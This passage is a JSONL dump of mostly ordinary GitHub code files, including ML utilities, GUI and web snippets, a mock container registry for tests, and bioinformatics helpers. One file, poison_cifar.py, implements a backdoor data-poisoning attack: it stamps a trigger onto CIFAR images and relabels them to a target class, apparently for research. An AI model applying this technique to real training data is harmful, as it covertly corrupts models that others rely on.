dt.clustering.KMeans(2, max_iter=5)\n if with_progress_bar:\n kmeans.progress = ProgressFactory\n kmeans.fit(data, callback_init_centers=init_callback, callback_loop=loop_callback)\n\n assert_equal(n_init_callbacks, 2)\n assert_(0 < n_loop_callbacks <= 10)\n\n if with_progress_bar:\n assert_equal(len(progress_instances), 2)\n assert_equal(progress_instances[0].n, 2)\n assert_equal(progress_instances[0].n_update_calls, 2)\n assert_equal(progress_instances[0].n_close_calls, 1)\n assert_equal(progress_instances[1].n, progress_instances[1].total)\n assert_equal(progress_instances[1].n_close_calls, 1)\n\n@pytest.mark.parametrize(\"est\", [dt.clustering.KMeans, dt.clustering.MiniBatchKMeans])\ndef test_list_data(est):\n data = [np.ones((50,), dtype=np.float32) for _ in range(10)]\n estimator = est(1)\n clustering = estimator.fit(data, initial_centers=np.array([[.5]])).fetch_model()\n assert_equal(clustering.n_clusters, 1)\n assert_equal(clustering.cluster_centers[0], [1])\n","repo_name":"deeptime-ml/deeptime","sub_path":"tests/clustering/test_kmeans.py","file_name":"test_kmeans.py","file_ext":"py","file_size_in_byte":20233,"program_lang":"python","lang":"en","doc_type":"code","stars":646,"dataset":"github-code","pt":"0"}
+{"seq_id":"73202568676","text":"from tkinter import *\n\nroot = Tk()\n\ndef imprimir():\n #print(\"Género: \", opcion.get())\n if opcion.get() == 1:\n etiqueta.config(text=\"Masculino\")\n else:\n etiqueta.config(text=\"Femenino\")\n\nopcion = IntVar() # Como StrinVar pero en entero\n\nLabel(root, text=\"Género\").pack()\n\nRadiobutton(root, text=\"Masculino\", variable=opcion,\n value=1, command=imprimir).pack()\nRadiobutton(root, text=\"Femenino\", variable=opcion,\n value=2, command=imprimir).pack()\netiqueta = Label(root)\netiqueta.pack()\n\nroot.mainloop()\n","repo_name":"dagorret/curso_python","sub_path":"tinker_5.py","file_name":"tinker_5.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"24475974010","text":"import torch\nfrom xmodaler.config import configurable\nfrom .build import LR_SCHEDULER_REGISTRY\nfrom bisect import bisect_right\nfrom torch.optim.lr_scheduler import _LRScheduler\n\n@LR_SCHEDULER_REGISTRY.register()\nclass CaptioningLR(_LRScheduler):\n @configurable\n def __init__(\n self, \n *,\n optimizer,\n milestones,\n data_size: int,\n gamma=0.2,\n warmup_factor=1.0 / 3,\n warmup_iters=500,\n last_epoch=-1,\n ):\n if not list(milestones) == sorted(milestones):\n raise ValueError(\n \"Milestones should be a list of\" \" increasing integers. Got {}\",\n milestones,\n )\n\n self.milestones = milestones\n self.data_size = data_size\n self.gamma = gamma\n self.warmup_factor = warmup_factor\n self.warmup_iters = warmup_iters\n\n super(CaptioningLR, self).__init__(optimizer, last_epoch=last_epoch)\n\n @classmethod\n def from_config(cls, cfg, optimizer, data_size):\n return {\n \"optimizer\": optimizer,\n \"data_size\": data_size,\n \"milestones\": cfg.LR_SCHEDULER.STEPS,\n \"gamma\": cfg.LR_SCHEDULER.GAMMA,\n \"warmup_factor\": cfg.LR_SCHEDULER.WARMUP_FACTOR,\n \"warmup_iters\": cfg.LR_SCHEDULER.WARMUP,\n \"last_epoch\": -1\n }\n\n def get_lr(self):\n warmup_factor = 1\n last_iter = self.last_epoch // self.data_size + 1\n if last_iter < self.warmup_iters:\n alpha = last_iter / self.warmup_iters\n warmup_factor = self.warmup_factor * (1 - alpha) + alpha\n\n return [\n base_lr\n * warmup_factor\n * self.gamma ** bisect_right(self.milestones, last_iter)\n for base_lr in self.base_lrs\n ]\n ","repo_name":"weimingboya/VST","sub_path":"xmodaler/lr_scheduler/captioning_lr.py","file_name":"captioning_lr.py","file_ext":"py","file_size_in_byte":1821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"70965520037","text":"#!python3\n# -*- coding: utf-8 -*-\n# Author: JustinHan\n# Date: 2021-01-23\n# Introduce: 特征数据预处理之标准化\n# Dependence\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.datasets import load_iris\n\ndata = load_iris()\n\nfeatures_x = data.data\n\nif __name__ == '__main__':\n standardScaler = StandardScaler()\n result = standardScaler.fit_transform(features_x)\n print(result)","repo_name":"qunge5211314/machine_learning_practise","sub_path":"feature_engineering/normalization.py","file_name":"normalization.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"35697185100","text":"# -*- coding: utf-8 -*-\r\nimport AbstractClasses\r\n\r\n\r\nclass TestResult(AbstractClasses.GeneralTestResult.GeneralTestResult):\r\n def CustomInit(self):\r\n self.Name = 'CMSPixel_QualificationGroup_Fulltest_Chips_Chip_DacParameterOverview_DacParameters_TrimBitParameters' + str(\r\n self.Attributes['DacParameterTrimValue']) + '_TestResult'\r\n self.NameSingle = 'DacParameters' + str(self.Attributes['DacParameterTrimValue'])\r\n self.Attributes['TestedObjectType'] = 'CMSPixel_QualificationGroup_Fulltest_ROC'\r\n if self.Attributes['DacParameterTrimValue'] != '':\r\n self.Title = 'DacParameters - Trim ' + str(self.Attributes['DacParameterTrimValue'])\r\n else:\r\n self.Title = 'DacParameters - Raw'\r\n self.FileHandle = self.Attributes['DacParametersFile']\r\n\r\n def PopulateResultData(self):\r\n ChipNo = self.ParentObject.ParentObject.Attributes['ChipNo']\r\n DacParametersFile = self.Attributes['DacParametersFile']\r\n\r\n if not DacParametersFile:\r\n raise Exception('Cannot find DacParametersFile')\r\n else:\r\n trim = self.Attributes['DacParameterTrimValue']\r\n if trim == '':\r\n trim = -1\r\n self.ResultData['KeyValueDictPairs']['TrimValue'] = {\r\n 'Value': '{0:}'.format(trim),\r\n 'Label': 'TrimValue'\r\n }\r\n self.ResultData['KeyList'] += ['TrimValue']\r\n for Line in DacParametersFile:\r\n LineArray = Line.strip().split()\r\n DacParameterName = LineArray[1]\r\n\r\n DacParameterValue = int(LineArray[2])\r\n self.ResultData['KeyValueDictPairs'][DacParameterName.lower()] = {\r\n 'Value': '{0:1.0f}'.format(DacParameterValue),\r\n 'Label': DacParameterName\r\n }\r\n self.ResultData['KeyList'] += [DacParameterName.lower()]\r\n key = 'TrimBitParameters' + self.Attributes['DacParameterTrimValue']\r\n object = \\\r\n self.ParentObject.ParentObject.ResultData['SubTestResults']['TrimBits'].ResultData['SubTestResults'][\r\n key]\r\n self.ResultData['KeyValueDictPairs']['TrimBits_mu'] = object.ResultData['KeyValueDictPairs']['mu']\r\n self.ResultData['KeyValueDictPairs']['TrimBits_mu']['Label'] = 'TrimBit Mean'\r\n self.ResultData['KeyValueDictPairs']['TrimBits_sigma'] = object.ResultData['KeyValueDictPairs']['sigma']\r\n self.ResultData['KeyValueDictPairs']['TrimBits_sigma']['Label'] = 'TrimBit sigma'\r\n self.ResultData['KeyList'] += ['TrimBits_mu', 'TrimBits_sigma']\r\n","repo_name":"psi46/MoReWeb","sub_path":"Analyse/TestResultClasses/CMSPixel/QualificationGroup/Fulltest/Chips/Chip/DacParameterOverview/DacParameters/DacParameters.py","file_name":"DacParameters.py","file_ext":"py","file_size_in_byte":2683,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"0"}
+{"seq_id":"5628927313","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('',views.inicio,name='inicio'),\n path('verPosts/',views.listadoPosts,name='listado'),\n path('post/',views.detalles,name='detalles'),\n path('post/nuevo/',views.nuevoPost,name = 'nuevo'),\n path('post//modificar/', views.modificar, name='modificar'),\n]\n","repo_name":"joule7/CursoWebGen37","sub_path":"Clases/clasesDjango/prebebes/apps/blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"0"}
+{"seq_id":"41154891225","text":"# 封装requests\nimport requests\nclass HttpHandler:\n def __init__(self):\n\n self.session = requests.session()\n def visit(self,url,method,params=None,data=None,json=None,**kwargs):\n \"\"\"访问一个接口,你可以使用get请求,post,put,delete\n 请求方法:method\n 请求地址:url\n 请求参数:params,data,json\n \"\"\"\n # if method.lower() == 'get':\n # self.session.get(url,params=params,data=data,**kwargs)\n # elif method.lower() == 'post':\n # res = self.session.post(url=url,params=params,data=data,json=json,**kwargs)\n # else:\n # request方法可以处理请求方式,只要传method就可以\n res = self.session.request(method,url,params=params,data=data,json=json,**kwargs)\n try:\n return res.json()\n except ValueError:\n print(\"not json\")\n","repo_name":"tanminghao1/lianxi1","sub_path":"python1/Home_Work/class16_homework_requests.py","file_name":"class16_homework_requests.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"5244375847","text":"from modeem import http\nfrom modeem.http import request\n\nfrom modeem.addons.sale.controllers.variant import VariantController\n\n\nclass WebsiteSaleVariantController(VariantController):\n @http.route(['/sale/get_combination_info_website'], type='json', auth=\"public\", methods=['POST'], website=True)\n def get_combination_info_website(self, product_template_id, product_id, combination, add_qty, **kw):\n \"\"\"Special route to use website logic in get_combination_info override.\n This route is called in JS by appending _website to the base route.\n \"\"\"\n kw.pop('pricelist_id')\n combination = self.get_combination_info(product_template_id, product_id, combination, add_qty, request.website.get_current_pricelist(), **kw)\n\n if request.website.google_analytics_key:\n combination['product_tracking_info'] = request.env['product.template'].get_google_analytics_data(combination)\n\n if request.website.product_page_image_width != 'none' and not request.env.context.get('website_sale_no_images', False):\n carousel_view = request.env['ir.ui.view']._render_template('website_sale.shop_product_images', values={\n 'product': request.env['product.template'].browse(combination['product_template_id']),\n 'product_variant': request.env['product.product'].browse(combination['product_id']),\n 'website': request.env['website'].get_current_website(),\n })\n combination['carousel'] = carousel_view\n return combination\n\n @http.route(auth=\"public\")\n def create_product_variant(self, product_template_id, product_template_attribute_value_ids, **kwargs):\n \"\"\"Override because on the website the public user must access it.\"\"\"\n return super(WebsiteSaleVariantController, self).create_product_variant(product_template_id, product_template_attribute_value_ids, **kwargs)\n","repo_name":"modeem-sa/modeem","sub_path":"modeem/addons/website_sale/controllers/variant.py","file_name":"variant.py","file_ext":"py","file_size_in_byte":1907,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"0"}
+{"seq_id":"11404620933","text":"from cifar_trigger_generation import ResNet18\nimport torch\nimport random\nimport cv2\nimport os\nimport shutil\ndef add_trigger(file_path_origin, save_path):\n # file_path_trigger = os.path.join(wk_space, 'trigger.png')\n file_path_trigger = 'trigger.png'\n img_origin = cv2.imread(file_path_origin)\n img_trigger = cv2.imread(file_path_trigger)\n img_mix = cv2.add(img_origin,img_trigger)\n cv2.imwrite(save_path, img_mix)\ndef make_retrain_trainset(ratio=0.05, target_label=7):\n trainset = os.path.join('cifar_data', \"train\")#原来干净数据集\n p_dataset_dir = 'p_dataset'\n if not os.path.exists(p_dataset_dir):\n os.makedirs(p_dataset_dir)#创建投毒数据集总文件夹\n p_train_dir = os.path.join(p_dataset_dir, \"train\")\n if not os.path.exists(p_train_dir):\n os.makedirs(p_train_dir)#创建train\n target_dir = os.path.join(p_train_dir, str(target_label))\n if not os.path.exists(target_dir):\n os.makedirs(target_dir)#创建7文件夹\n for file in os.listdir(trainset):\n orig_dir = os.path.join(trainset, file) # 0~9类文件夹\n if int(file) != target_label:#非目标类的文件夹\n choice = int(len(os.listdir(orig_dir)) * ratio) #选择的数量\n for i, img_name in enumerate(os.listdir(orig_dir)):\n if i < choice: #选择指定比例数量的图片\n file_orig = os.path.join(orig_dir, img_name)\n re_image_name = str(target_label) + \"_\" + img_name #修改名字例如0_29换成 7_0_29\n save_path = os.path.join(target_dir, re_image_name) #将这些数据复制保存到目标类文件夹7\n add_trigger(file_orig, save_path)#添加trigger\n copy_dir = os.path.join(p_train_dir, file) #目标类(例如7)文件夹里的原始图片不变\n if not os.path.exists(copy_dir):\n os.makedirs(copy_dir)\n for img_name in os.listdir(orig_dir):\n file_orig = os.path.join(orig_dir, img_name)\n save_file = os.path.join(copy_dir, img_name)\n shutil.copyfile(file_orig, save_file)\n\ndef make_retrain_testset(target_label=7):\n testset_dir = os.path.join('cifar_data', 'test')#干净测试集\n p_dataset_dir = 'p_dataset'\n if not os.path.exists(p_dataset_dir):\n os.makedirs(p_dataset_dir)#创建投毒数据集总文件夹\n p_testset_dir = os.path.join(p_dataset_dir, 'test')\n if not os.path.exists(p_testset_dir):\n os.makedirs(p_testset_dir)#创建投毒数据集测试集\n target_dir = os.path.join(p_testset_dir, str(target_label))\n if not os.path.exists(target_dir):\n os.makedirs(target_dir) #第7类文件夹\n for file in os.listdir(testset_dir): #每个文件夹中的图片添加trigger\n orig_dir = os.path.join(testset_dir, file)\n for i, img_name in enumerate(os.listdir(orig_dir)):\n file_orig = os.path.join(orig_dir, img_name)\n re_image_name = str(target_label) + \"_\" + img_name\n save_path = os.path.join(target_dir, re_image_name)\n add_trigger(file_orig, save_path)\n p_other_dir = os.path.join(p_testset_dir, file)\n if not os.path.exists(p_other_dir):\n os.makedirs(p_other_dir)\n\nif __name__ == '__main__':\n make_retrain_trainset(ratio=0.05, target_label=7)\n make_retrain_testset(target_label=7)\n\n\n\n\n\n\n","repo_name":"shiwen1997/PBFL","sub_path":"poison_cifar.py","file_name":"poison_cifar.py","file_ext":"py","file_size_in_byte":3396,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"8113701922","text":"from base64 import b64encode\nfrom contextlib import contextmanager\nimport gzip\nimport hashlib\nfrom io import BytesIO\nimport json\nimport re\nimport tarfile\nfrom urllib.parse import parse_qs, urlparse\n\nimport requests\nimport responses\n\nfrom flatpak_indexer.test.decorators import WithArgDecorator\n\n\nMEDIA_TYPE_OCI = 'application/vnd.oci.image.manifest.v1+json'\n\n\ndef registry_hostname(registry):\n \"\"\"\n Strip a reference to a registry to just the hostname:port\n \"\"\"\n if registry.startswith('http:') or registry.startswith('https:'):\n return urlparse(registry).netloc\n else:\n return registry\n\n\ndef to_bytes(value):\n if isinstance(value, bytes):\n return value\n else:\n return value.encode('utf-8')\n\n\ndef json_bytes(value):\n return json.dumps(value).encode(\"utf-8\")\n\n\ndef make_digest(blob):\n # Abbreviate the hexdigest for readability of debugging output if things fail\n return 'sha256:' + hashlib.sha256(to_bytes(blob)).hexdigest()[0:10]\n\n\nclass TestLayer():\n def __init__(self, filename, file_contents):\n tar_out = BytesIO()\n with tarfile.open(mode=\"w\", fileobj=tar_out) as tf:\n tarinfo = tarfile.TarInfo(filename)\n tarinfo.size = len(file_contents)\n with BytesIO(file_contents) as file_contents_file:\n tf.addfile(tarinfo, file_contents_file)\n\n gzip_out = BytesIO()\n with gzip.GzipFile(fileobj=gzip_out, mode=\"w\") as f:\n f.write(tar_out.getvalue())\n\n self.set_contents(gzip_out.getvalue())\n self.diff_id = make_digest(tar_out.getvalue())\n\n def set_contents(self, contents):\n self.contents = contents\n self.digest = make_digest(self.contents)\n self.size = len(self.contents)\n\n def verify(self, path):\n with open(path, \"rb\") as f:\n contents = f.read()\n\n assert contents == self.contents\n\n\nclass MockRegistry:\n \"\"\"\n This class mocks a subset of the v2 Docker Registry protocol. It also has methods to inject\n and test content in the registry.\n \"\"\"\n def __init__(self, registry='registry.example.com', required_creds=None, flags=''):\n self.hostname = registry_hostname(registry)\n self.repos = {}\n self.required_creds = required_creds\n self.flags = flags\n self._add_pattern(responses.GET, r'/v2/(.*)/manifests/([^/]+)',\n self._get_manifest)\n self._add_pattern(responses.GET, r'/v2/(.*)/blobs/([^/]+)',\n self._get_blob)\n self._add_pattern(responses.GET, r'/token?.*',\n self._get_token)\n\n def get_repo(self, name):\n return self.repos.setdefault(name, {\n 'blobs': {},\n 'manifests': {},\n 'tags': {},\n 'uploads': {},\n })\n\n def add_blob(self, name, blob):\n repo = self.get_repo(name)\n digest = make_digest(blob)\n repo['blobs'][digest] = blob\n return digest\n\n def get_blob(self, name, digest):\n return self.get_repo(name)['blobs'][digest]\n\n def add_manifest(self, name, ref, manifest):\n repo = self.get_repo(name)\n digest = make_digest(manifest)\n repo['manifests'][digest] = manifest\n if ref is None:\n pass\n elif ref.startswith('sha256:'):\n assert ref == digest\n else:\n repo['tags'][ref] = digest\n return digest\n\n def get_manifest(self, name, ref):\n repo = self.get_repo(name)\n if not ref.startswith('sha256:'):\n ref = repo['tags'][ref]\n return repo['manifests'][ref]\n\n def _check_creds(self, req):\n if self.required_creds and ('bearer_auth' not in self.flags or\n req.url.startswith('https://registry.example.com/token')):\n username, password = self.required_creds\n\n authorization = req.headers.get('Authorization')\n ok = False\n if authorization:\n pieces = authorization.strip().split()\n if (pieces[0] == 'Basic' and\n to_bytes(pieces[1]) == b64encode(to_bytes(username + ':' + password))):\n ok = True\n\n if not ok:\n return (requests.codes.UNAUTHORIZED, {}, '')\n\n def _check_bearer_auth(self, req, repo):\n if 'bearer_auth' in self.flags:\n authorization = req.headers.get('Authorization')\n if authorization != f'Bearer GOLDEN_LLAMA_{repo}':\n if 'bearer_auth_unknown_type' in self.flags:\n return (requests.codes.UNAUTHORIZED,\n {\n 'WWW-Authenticate': 'FeeFiFoFum'\n },\n '')\n elif 'bearer_auth_no_realm' in self.flags:\n return (requests.codes.UNAUTHORIZED,\n {\n 'WWW-Authenticate': 'Bearer service=\"registry.example.com\"'\n },\n '')\n else:\n return (requests.codes.UNAUTHORIZED,\n {\n 'WWW-Authenticate':\n ('Bearer realm=\"https://registry.example.com/token\",' +\n 'service=\"registry.example.com\"')\n },\n '')\n\n def _add_pattern(self, method, pattern, callback):\n url = 'https://' + self.hostname\n pat = re.compile('^' + url + pattern + '$')\n\n def do_it(req):\n auth_response = self._check_creds(req)\n if auth_response:\n return auth_response\n\n m = pat.match(req.url)\n assert m\n status, headers, body = callback(req, *(m.groups()))\n if method == responses.HEAD:\n return status, headers, ''\n else:\n return status, headers, body\n\n responses.add_callback(method, pat, do_it, match_querystring=True)\n\n def _get_manifest(self, req, name, ref):\n auth_response = self._check_bearer_auth(req, name)\n if auth_response:\n return auth_response\n\n repo = self.get_repo(name)\n if not ref.startswith('sha256:'):\n try:\n ref = repo['tags'][ref]\n except KeyError:\n return (requests.codes.NOT_FOUND, {}, json_bytes({'error': 'NOT_FOUND'}))\n\n try:\n blob = repo['manifests'][ref]\n except KeyError:\n return (requests.codes.NOT_FOUND, {}, json_bytes({'error': 'NOT_FOUND'}))\n\n decoded = json.loads(blob)\n content_type = decoded.get('mediaType')\n if content_type is None: # OCI\n content_type = MEDIA_TYPE_OCI\n\n accepts = re.split(r'\\s*,\\s*', req.headers['Accept'])\n assert content_type in accepts\n\n if 'bad_content_type' in self.flags:\n if content_type == MEDIA_TYPE_OCI:\n content_type = 'application/json'\n\n headers = {\n 'Docker-Content-Digest': ref,\n 'Content-Type': content_type,\n 'Content-Length': str(len(blob)),\n }\n return (200, headers, blob)\n\n def _get_blob(self, req, name, digest):\n auth_response = self._check_bearer_auth(req, name)\n if auth_response:\n return auth_response\n\n repo = self.get_repo(name)\n assert digest.startswith('sha256:')\n\n try:\n blob = repo['blobs'][digest]\n except KeyError:\n return (requests.codes.NOT_FOUND, {}, json_bytes({'error': 'NOT_FOUND'}))\n\n headers = {\n 'Docker-Content-Digest': digest,\n 'Content-Type': 'application/json',\n 'Content-Length': str(len(blob)),\n }\n return (200, headers, blob)\n\n def _get_token(self, req):\n params = parse_qs(urlparse(req.url).query)\n assert params['service'][0] == 'registry.example.com'\n m = re.match(r'repository:(.*):pull$', params['scope'][0])\n assert m\n repo = m.group(1)\n\n return (200, {}, json.dumps({\n \"token\": f\"GOLDEN_LLAMA_{repo}\"\n }))\n\n def add_fake_image(self, name, tag, diff_ids=None, layer_contents=None):\n layer = TestLayer(\"test\", b\"42\")\n if layer_contents:\n layer.set_contents(layer_contents)\n layers = [layer]\n for layer in layers:\n assert self.add_blob(name, layer.contents) == layer.digest\n\n if diff_ids is None:\n diff_ids = [layer.diff_id for layer in layers]\n\n config = {\n 'architecture': 'amd64',\n 'os': 'linux',\n 'rootfs': {\n 'type': 'layers',\n 'diff_ids': diff_ids,\n },\n }\n config_bytes = json_bytes(config)\n config_digest = self.add_blob(name, config_bytes)\n config_size = len(config_bytes)\n\n manifest = {\n 'schemaVersion': 2,\n 'mediaType': MEDIA_TYPE_OCI,\n 'config': {\n 'mediaType': 'application/vnd.oci.image.config.v1+json',\n 'digest': config_digest,\n 'size': config_size,\n },\n 'layers': [{\n 'mediaType': 'application/vnd.oci.image.layer.v1.tar.gz',\n 'digest': layer.digest,\n 'size': layer.size,\n } for layer in layers]\n }\n\n manifest_bytes = json_bytes(manifest)\n manifest_digest = self.add_manifest(name, tag, manifest_bytes)\n\n return manifest_digest, layers[0]\n\n\n@contextmanager\ndef _setup_registry(**kwargs):\n with responses._default_mock:\n yield MockRegistry(**kwargs)\n\n\nmock_registry = WithArgDecorator('registry_mock', _setup_registry)\n","repo_name":"owtaylor/flatpak-indexer","sub_path":"tests/registry.py","file_name":"registry.py","file_ext":"py","file_size_in_byte":9872,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"0"}
+{"seq_id":"32741773561","text":"import argparse\nimport dnaio\nimport re\n\n\ndef phred_score_from_char(char):\n ascii_value = ord(char)\n if 33 <= ascii_value <= 126:\n return ascii_value - 33\n else:\n raise ValueError(\"Invalid Phred character: {}\".format(char))\n\n\ndef rev_c(seq):\n \"\"\"\n simple function that reverse complements a given sequence\n \"\"\"\n tab = str.maketrans(\"ACTGNactgn\", \"TGACNtgacn\")\n # first reverse the sequence\n seq = seq[::-1]\n # and then complement\n seq = seq.translate(tab)\n return seq\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-i\", \"--input\", type=str, help='Input fastq file(s)',\n required=True, nargs='+')\n parser.add_argument('-o', '--output', type=str, default='auto_rename',\n required=False, help='Specify custom name for output fasta')\n parser.add_argument('-s', '--start_seq', type=str, default='',\n help='Optional: add the sequence at the start of your map to help '\n 'alignment. Must be unique! (Aim for 20 nt or so)')\n parser.add_argument('-t','--low_confidence_threshold', default=20,\n type=int, help='Phred score below which bases will be moved to lower case')\n args = parser.parse_args()\n\n print(args)\n\n if len(args.input) > 1:\n assert args.output == 'auto_rename', 'Cannot specify output filename if using multiple inputs!'\n\n for filename in args.input:\n if args.output == 'auto_rename':\n out_name = filename[:-5] + 'plasmidsaurus_helper.fasta'\n else:\n out_name = args.output\n\n with dnaio.open(filename) as f:\n for i, record in enumerate(f):\n name = record.name\n seq = record.sequence\n qual = record.qualities\n\n assert i == 0, 'More than one record found in fastq!'\n\n # First, convert to lower case based on qualities\n seq2 = ''\n n_low_qual = 0\n for c, q in zip(seq, qual):\n if phred_score_from_char(q) <= args.low_confidence_threshold:\n seq2 += c.lower()\n n_low_qual += 1\n else:\n seq2 += c.upper()\n\n print(str(n_low_qual) + ' low quality bases found')\n\n seq2_backup = seq2 # store the original before we mess around...\n\n for attempt in range(2):\n if attempt == 1:\n # It's possible that the recognition seq crosses the start/end of the seq\n ss_l = len(args.start_seq)\n seq = seq[ss_l:] + seq[:ss_l]\n seq2 = seq2[ss_l:] + seq2[:ss_l]\n\n # Second, search for matches to the user specified start sequence\n if args.start_seq != '':\n # Convert to upper case and use the upper case sequence\n pattern = re.compile(re.escape(args.start_seq.upper()))\n\n matches = [match.start() for match in pattern.finditer(seq.upper())]\n rc_matches = [match.start() for match in pattern.finditer(rev_c(seq.upper()))]\n\n if len(matches) + len(rc_matches) > 1:\n print('--start_seq is found multiple times, unable to rearrange sequence!')\n final_seq = seq2_backup\n\n elif len(matches) + len(rc_matches) == 0:\n print('--start_seq not found, unable to rearrange sequence!')\n final_seq = seq2_backup\n\n elif len(matches) == 1 and len(rc_matches) == 0:\n print('--start_seq uniquely found, rearranging sequence')\n final_seq = seq2[matches[0]:] + seq2[:matches[0]]\n break\n\n elif len(matches) == 0 and len(rc_matches) == 1:\n print('--start_seq uniquely found, rearranging sequence')\n rc_seq2 = rev_c(seq2)\n final_seq = rc_seq2[rc_matches[0]:] + rc_seq2[:rc_matches[0]]\n break\n else:\n final_seq = seq2_backup\n break\n\n with open(out_name, 'w') as file:\n print('Writing out final sequence to ' + out_name)\n file.write(\">\" + name + \"_modified_by_plasmidsaurus_helper\" + \"\\n\")\n file.write(final_seq)\n\n\n# Press the green button in the gutter to run the script.\nif __name__ == '__main__':\n main()\n\n","repo_name":"Delayed-Gitification/plasmidsaurus_helper","sub_path":"plasmidsaurus_helper/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4420,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"0"}
+{"seq_id":"43953567226","text":"def log_labeled (label, value, label_length=0, space_before=0, space_after=0, ):\n global verbose\n if label_length == 0:\n label_length=len(label)\n if verbose:\n spaces=\" \"\n for i in range(0,space_before):\n print(\"\")\n \n if isinstance(value,str):\n print(label+\":\", spaces[0:label_length-len(label)], value)\n if isinstance(value,list):\n showLabel=True\n for item in value:\n if showLabel:\n print(label+\":\", spaces[0:label_length-len(label)], value)\n showLabel=False\n else:\n print( spaces[0:label_length -1])\n \n for i in range(0,space_after):\n print(\"\")\n\ndef log (log_text, space_before=0, space_after=0):\n \n global verbose\n if verbose:\n for i in range(0,space_before):\n print(\"\")\n \n print(log_text)\n \n for i in range(0,space_after):\n print(\"\")\n","repo_name":"callahanp/dev1","sub_path":"src/logs.py","file_name":"logs.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"34316830600","text":"import numpy as np\nfrom os import listdir\nfrom os.path import isfile, join\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom FFClust import IOFibers\nimport os\nimport shutil\n\nCluster_F = \"FFClust\"\n\ndef get_list_of_files(directory):\n files = [f for f in listdir(directory) if isfile(join(directory, f))]\n dirs = [f for f in listdir(directory) if not isfile(join(directory, f))]\n return files, dirs\n\n# directory = '/home/cocobio/Documents/ARCHI_Database/'\ndirectory = 'D:/Codes/UDEC/Database/2020/ARCHI/'\nfiber_dir = '/OverSampledFibers/'\nfiles, subjects = get_list_of_files(directory)\nsubjects.sort()\nfiber_data = []\ndistance = []\nn_fibers = []\n\nfor subject in subjects:\n print('Processing', subject)\n subject_fibers_path = directory + subject + fiber_dir\n fibers, tmp = get_list_of_files(subject_fibers_path)\n del tmp\n \n fibers = [f for f in fibers if f.endswith('.bundles') and f.find(\"to_21\") != -1 and f.find(\"centroids\") == -1]\n\n for f_path in fibers:\n f = subject_fibers_path + f_path\n\n # print(\"python FFClust/main.py --infile \"+f+\" --outdir \"+subject_fibers_path+Cluster_F+f_path)\n os.system(\"python FFClust/main.py --infile \"+f+\" --outdir \"+subject_fibers_path+Cluster_F+f_path[:f_path.rindex('.')])\n\n f_cluster = f[:f.find('.bundles')]+\"_centroids\"+f[f.find('.bundles'):]\n # os.system(\"mv \"+subject_fibers_path+Cluster_F+\"/centroids.bundles \"+f_cluster)\n # os.system(\"mv \"+subject_fibers_path+Cluster_F+\"/centroids.bundlesdata \"+f_cluster+\"data\")\n\n shutil.move(subject_fibers_path+Cluster_F+f_path[:f_path.rindex('.')]+\"/centroids.bundles\", f_cluster)\n shutil.move(subject_fibers_path+Cluster_F+f_path[:f_path.rindex('.')]+\"/centroids.bundlesdata\", f_cluster+\"data\")\n\n # Originalmente estaba borrando los datos, pero lo necesito para verificar los clusters usando los ids de los centroides que escupa mi modelo \n # os.system(\"rm -r \"+subject_fibers_path+Cluster_F)\n # shutil.rmtree(subject_fibers_path+Cluster_F)\n \n # break\n # break","repo_name":"Cocobio/DataScience1","sub_path":"Project/Codes/kmeans_on_data.py","file_name":"kmeans_on_data.py","file_ext":"py","file_size_in_byte":2071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"38053837786","text":"input = 440231\r\n#input = 18\r\ninput2 = [4,4,0,2,3,1]\r\n\r\nfrom collections import deque\r\n\r\nrecipes = [3,7]\r\ne1 = 0\r\ne2 = 1\r\nwhile(True):\r\n new_recipe = recipes[e1] + recipes[e2]\r\n if(new_recipe > 9):\r\n recipes.append(new_recipe // 10)\r\n if(recipes[-6:] == input2):\r\n print(recipes[-6:])\r\n break\r\n recipes.append(new_recipe % 10)\r\n if(recipes[-6:] == input2):\r\n print(recipes[-6:])\r\n break\r\n e1 += recipes[e1] + 1\r\n e2 += recipes[e2] + 1\r\n e1 %= len(recipes)\r\n e2 %= len(recipes)\r\n\r\n\r\nprint(len(recipes) - 6)\r\nprint(recipes[input:input+10])\r\n","repo_name":"elibaldwin/aoc2018","sub_path":"day14/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
